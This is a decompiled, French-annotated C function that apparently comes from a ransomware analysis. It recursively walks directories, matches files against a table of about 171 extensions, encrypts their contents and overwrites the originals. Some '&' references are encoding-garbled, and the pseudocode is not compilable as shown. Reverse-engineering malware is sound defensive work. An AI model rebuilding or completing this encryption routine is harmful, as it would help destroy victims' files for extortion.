void Recursive_file_cipherer(wchar_t *root_c_path) { int int_check; BOOL file_check; HANDLE file_data; size_t current_filename_length; LPWSTR ptr_last_dot_filename; DWORD file_attributs; HANDLE heap_process; LPVOID heap_allocation; wchar_t *srs_extension; LPVOID pvVar1; undefined file_size; _WIN32_FIND_DATAW *lpFindFileData; undefined8 cmp_size; LPDWORD lpNumberOfBytesRead; uint i; undefined **unicode_ptr_docx; undefined auStackY1816 [32]; DWORD local_6d8 [2]; LPCVOID encrypted_file_content; HANDLE local_6c8; wchar_t *local_6c0; DWORD local_6b8; DWORD local_6b4 [3]; byte current_file_data; WCHAR current_filename [274]; wchar_t current_file_path [264]; wchar_t path_as_regex [264]; ulonglong local_38; local_38 = DAT_140006008 ^ (ulonglong)auStackY1816; local_6c0 = root_c_path; /* Set l'intégralité du buffer à 0 */ memset(path_as_regex,0,0x208); /* Concaténation de 2 string pour constituer les paths qui vont être parcourus: (param_1\*) */ wcscat_s(path_as_regex,0x104,root_c_path); wcscat_s(path_as_regex,0x104,L"\\*"); lpNumberOfBytesRead = (LPDWORD)0x0; lpFindFileData = (_WIN32_FIND_DATAW *)¤t_file_data; /* Cherche le premier fichier qui match le path (C:\*) */ file_data = FindFirstFileExW(path_as_regex,FindExInfoStandard,lpFindFileData,FindExSearchNameMatch ,(LPVOID)0x0,0); /* Si le handle n'a pas pu être créé */ local_6c8 = file_data; if (file_data == (HANDLE)0xffffffffffffffff) { file_attributs = GetLastError(); FUN_140001490("FindFirstFileEx failed (%d)\n",(ulonglong)file_attributs,lpFindFileData, lpNumberOfBytesRead); } else { int_check = FindNextFileW(file_data,(LPWIN32_FIND_DATAW)¤t_file_data); /* Itere tant que il y a des fichiers dans le dossier actuel */ while (int_check != 0) { /* Rentre dans le if si le path n'est pas '.' ou '..' */ if ((current_filename[0] != L'.') || (((current_filename[1] != L'.' || (current_filename[2] != L'\0')) && (current_filename[1] != L'\0')))) { /* Construit le path du fichier courant */ memset(current_file_path,0,0x208); wcscat_s(current_file_path,0x104,root_c_path); wcscat_s(current_file_path,0x104,L"\\"); wcscat_s(current_file_path,0x104,((_WIN32_FIND_DATAW *)¤t_file_data)->cFileName); /* Vérifie qu'on est sur un fichier */ if ((current_file_data & 0x10) == 0) { /* Récupère la len du filename */ current_filename_length = wcsnlen(((_WIN32_FIND_DATAW *)¤t_file_data)->cFileName,0x104); /* Cherche le dernier point dans le nom du fichier et retroune un ptr dessus */ ptr_last_dot_filename = StrRChrW(((_WIN32_FIND_DATAW *)¤t_file_data)->cFileName, (LPCWSTR)((longlong)((_WIN32_FIND_DATAW *)¤t_file_data)->cFileName + current_filename_length * 2),L'.'); /* Vérifie que le fichier contient bien un point */ if (ptr_last_dot_filename == (LPWSTR)0x0) break; i = 0; /* Itère sur les 0xab extensions */ unicode_ptr_docx = &PTR_u_.docx_140003ed0; do { /* Vérifie si le fichier fini par l'extension courante */ int_check = wcsncmp(ptr_last_dot_filename,(wchar_t *)*unicode_ptr_docx,0x104); /* Si le fichier a l'extension courante, on rentre dans le if */ if (int_check == 0) { cmp_size = 0x104; srs_extension = L".srs"; int_check = wcsncmp(ptr_last_dot_filename,L".srs",0x104); /* Si le fichier fini par l'extension .srs */ if (int_check == 0) { Debug_print(&DAT_140003eb0,srs_extension,cmp_size,lpNumberOfBytesRead); /* Cherche les attribut des fichier et les retourne dans une type de 32 bites, dont chaque bit représente un attribut (true ou false) */ file_attributs = GetFileAttributesW(current_file_path); /* On vérifie que le 14ème attribut est false, càd: FILE_ATTRIBUTE_ENCRYPTED (2^14) = 0 = False */ if ((file_attributs >> 0xe & 1) == 0) { lpNumberOfBytesRead = (LPDWORD)0x0; /* dernier bit set à 1 (GENERIC_READ) mode lecture du fichier à chiffrer. */ file_data = CreateFileW(current_file_path,0x80000000,0,(LPSECURITY_ATTRIBUTES)0x0, 3,0x80,(HANDLE)0x0); /* Vérifie que le fichier a bien pu etre ouvert et qu'il n'est pas vide. Ecrase file_attributs par la taille du fichier */ if ((file_data != (HANDLE)0x0) && (file_attributs = GetFileSize(file_data,(LPDWORD)0x0), file_attributs != 0)) { /* Get le début de la heappar défaut du process en cours */ heap_process = GetProcessHeap(); /* Alloue la taille du fichier sur le tas */ heap_allocation = HeapAlloc(heap_process,8,(ulonglong)file_attributs); /* Vérifie que l'allocation a pu etre faite */ if (heap_allocation != (LPVOID)0x0) { lpNumberOfBytesRead = &local_6b8; file_size = (undefined)file_attributs; heap_process = file_data; pvVar1 = heap_allocation; /* Lis file_attributs bytes du fichier */ file_check = ReadFile(file_data,heap_allocation,file_attributs, lpNumberOfBytesRead,(LPOVERLAPPED)0x0); if (file_check != 0) { encrypted_file_content = (LPCVOID)0x0; /* Stock dans la variable précédente le contenu chiffré du fichier */ int_check = Chiffrement((char)heap_process,(char)pvVar1,file_size, (char)lpNumberOfBytesRead,heap_allocation, file_attributs,&encrypted_file_content,local_6d8); /* Vérifie que le chiffrement a été fais et que le fichier a correctement été fermé */ if ((int_check != 0) && (file_check = CloseHandle(file_data), file_check != 0)) { lpNumberOfBytesRead = (LPDWORD)0x0; /* Ouvre le fichier à chiffrer avec toutes les permissions (GENERIC_ALL) */ file_data = CreateFileW(current_file_path,0x10000000,0, (LPSECURITY_ATTRIBUTES)0x0,2,0x4000,(HANDLE)0x0); /* Vérifie que le fichier est correctement ouvert */ if (file_data != (HANDLE)0x0) { lpNumberOfBytesRead = local_6b4; /* Ecrase le contenu du fichier avec le contenu chiffré */ file_check = WriteFile(file_data,encrypted_file_content,local_6d8[0], lpNumberOfBytesRead,(LPOVERLAPPED)0x0); /* Vérifie que l'écriture a été faites correctement */ if (file_check != 0) { CloseHandle(file_data); } } } } } } } } } i = i + 1; /* Passe à l'extension suivante */ unicode_ptr_docx = (undefined **)((wchar_t **)unicode_ptr_docx + 1); file_data = local_6c8; root_c_path = local_6c0; } while (i < 0xab); } else { /* Appel récursif pour les dossiers */ Recursive_file_cipherer(current_file_path); } } /* Prend le prochain fichier du dossier courant. Dernier appel de int_check dont dépend le while */ int_check = FindNextFileW(file_data,(LPWIN32_FIND_DATAW)¤t_file_data); } /* close le find file */ FindClose(file_data); } FUN_140001b10(local_38 ^ (ulonglong)auStackY1816); return; }